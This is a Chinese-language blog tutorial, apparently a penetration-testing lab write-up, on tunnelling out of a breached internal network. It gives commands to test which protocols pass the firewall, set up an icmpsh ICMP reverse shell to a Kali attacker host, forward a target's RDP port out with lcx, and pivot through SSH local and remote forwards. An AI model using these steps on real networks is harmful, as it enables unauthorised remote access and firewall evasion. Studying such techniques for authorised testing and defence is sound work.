内网渗透隧道技术总结

前言

在打进内网之后,我们要判断此时的流量是否出的去、进的来。在一些真实的网络环境中,网络中的主机彼此进行通信一般是通过建立TCP连接然后进行数据通信,但是企业出于安全方面的考虑,也通常会在边界设置一些软/硬件防火墙来检查内部网络和外部网络的连接情况。假如这时我们想通过某个端口或者某个协议来与内网来进行一个连接,但是发现连接被防火墙所检测出异常,并且阻止此次连接的进行那么我们该怎么办?这个时候黑客们一般会借助一些隧道技术来对防火墙来做出绕过。那么什么是隧道呢?这里隧道的意思是指将我们的数据包用防火墙允许的端口或者协议来进行封装后以致于达到穿过防火墙目的的一种手法,一下便是一些常见的隧道。

应用层隧道:HTTP隧道、HTTPS隧道、DNS隧道、SSH隧道
传输层隧道:TCP隧道、UDP隧道
网络层隧道:ICMP隧道、IPV6隧道、GRE隧道

判断网路流量的连通性

在打入内网之后,我们要对内网机器是否出网做出一个判断,且要判断出该网络中防火墙放行何种协议或者端口,之后我们才可以用对应放行的协议或端口来搭建相应的隧道。

判断ICMP协议

ping <IP地址或域名>

判断HTTP协议

判断HTTP协议连通性我们可以利用wget或者curl等工具来进行实现

wget <IP地址或域名>
curl <IP地址或域名>

判断TCP、UDP协议

TCP、UDP协议判断可以利用netcat(简称nc)

nc -zv <IP地址 端口号>   #默认检测TCP
nc -zvu <IP地址 端口号>  #u参数为检测UDP

判断DNS协议

DNS协议判在windwos中可以利用nslookup,在linux中可以利用dig。

mslookup <域名> <DNS IP>  #windwos
dig @<DNS IP> <域名>      #linux

隧道搭建

ICMP隧道

首先在kali上安装icmpsh软件

https://github.com/inquisb/icmpsh.git   #软件地址

我们可以直接用git克隆过来

git clone https://github.com/inquisb/icmpsh.git

然后我们还需要来安装python-impacket类库以保证对TCP、UDP、ICMP等协议的访问

pip2 install impacket

接下来我们还需要关闭我们之前的ping命令应答程序,这样可以防止内核自己对ping包进行响应。

sysctl -w net.ipv4.icmp_echo_ignore_all=1

实验完成后开启系统ping的话将最后的1改为0即可

然后可以在kali上开始监听

python icmpsh_m.py 本机ip 目标ip

再把icmpsh.exe传输到靶机上

icmpsh.exe -t 192.168.110.140    # -t参数后面接上本机的ip地址 

接收到shell。由于数据是利用PING请求/回复报文通过网络层传输,因此并不需要指定服务或者端口。这种流量是无法被基于代理的防火墙检测到的,因此这种方式可能绕过一些防火墙规则。

端口转发和映射

在防火墙屏蔽了某些端口(如3389)端口的数据时,我们可以一些端口转发技术来把3389的流量给转发出来或者映射到服务器的其他端口上。这里我们利用一款lcx的小工具来进行实验。

下载地址

https://github.com/cw1997/NATBypass   #该版本为go语言开发,一些老版的lcx的连接不是很稳定

端口转发

首先将下载好的lcx(原版本文件名字为nb)上传到目标靶机,然后在目标靶机上执行

lcx.exe -slave 127.0.0.1:3389 192.168.178.1:4444  #192.168.178.1为攻击机,4444为转发出来的端口

然后在攻击机器上执行

lcx.exe -listen 4444 5555

这里成功建立了一个连接

建立好连接之后,我们就可以在我们的攻击机进行远程连接

然后输入密码即可

端口映射

端口转发是把内网的流量给转发到我们公网的VPS中,而端口映射则是把内网中一个端口的流量转发到该内网中另外一个端口中以至于逃避防火墙的检测

例把内网中3389的流量转发到33891端口中

lcx.exe -tran 33891 192.168.178.133:3389  

输入密码即可连接成功

SSH隧道

在内网中几乎所有的Linux服务器都支持SSH协议,所以SSH隧道也是一种非常常见的隧道技术

一般我们利用SSH客户端去连接服务端命令如下

ssh root@192.168.1.1

但是这里我们需要利用到SSH来搭建隧道技术,所以我们还需要了解到一下搭建SSH隧道经常用到的参数

-f:后台运行ssh
-N:安静的建立连接(可以建立连接且看不到会话)
-C:压缩传输,提高传输速度
-g:允许远程主机连接本地用于转发的端口
-L:本地端口转发
-R:远程端口转发
-D:动态转发
-p:指定ssh端口

本地转发

这里有如下一个场景(以前画的,完整的拓扑图后面还有一台机器,这里偷懒,直接截图上来了)

本机可以访问到targer1,但是访问不到target2,这里我们就target1为跳板机然后利用ssh的端口转发来直接用本机连接上target2的ssh服务

首先在本机上执行如下命令

ssh -CfNg -L 6666:192.168.239.129:22 root@192.168.178.142  #6666为本机端口,其他ip和端口看图

然后输入target1的密码即可

因为我们加了-N参数,所以这里看不到任何现象,我们可以看看6666端口时候开启且建立连接

C:\Users\随风>netstat -ano

可以看到6666端口是已经开启的,那么我们就可以用ssh连接本地的6666端口以达到连接到target2的ssh服务

如下,我们就连接到了target2这台ubuntu服务器了

远程转发

有本地转发为什么还要用到远程转发呢,我们想想本地转发的网络环境,是外网可以访问到边界的target1,假如这个时候外网访问不到内网设备,但是内网可以访问到本地的外网VPS设备,这种情况下就要利用到远程转发了

我们要已target1为跳板,将kali的4444端口流量转发到target2的22端口上,然后访问kali的4444端口以达到访问内网的22端口的效果

首先我们需要在target1上执行如下命令

ssh -CfNg -R 4444:192.168.239.129:22 root@192.168.178.128  #4444为kali外网VPS端口,其他端口和地址见本地转发图片

然后输入kali的账号密码即可

之后我们就可以在kali上通过连接4444端口来连接上target2的ssh服务了

 

posted @ 2021-12-03 09:36  随风kali  阅读(1933)  评论(0编辑  收藏  举报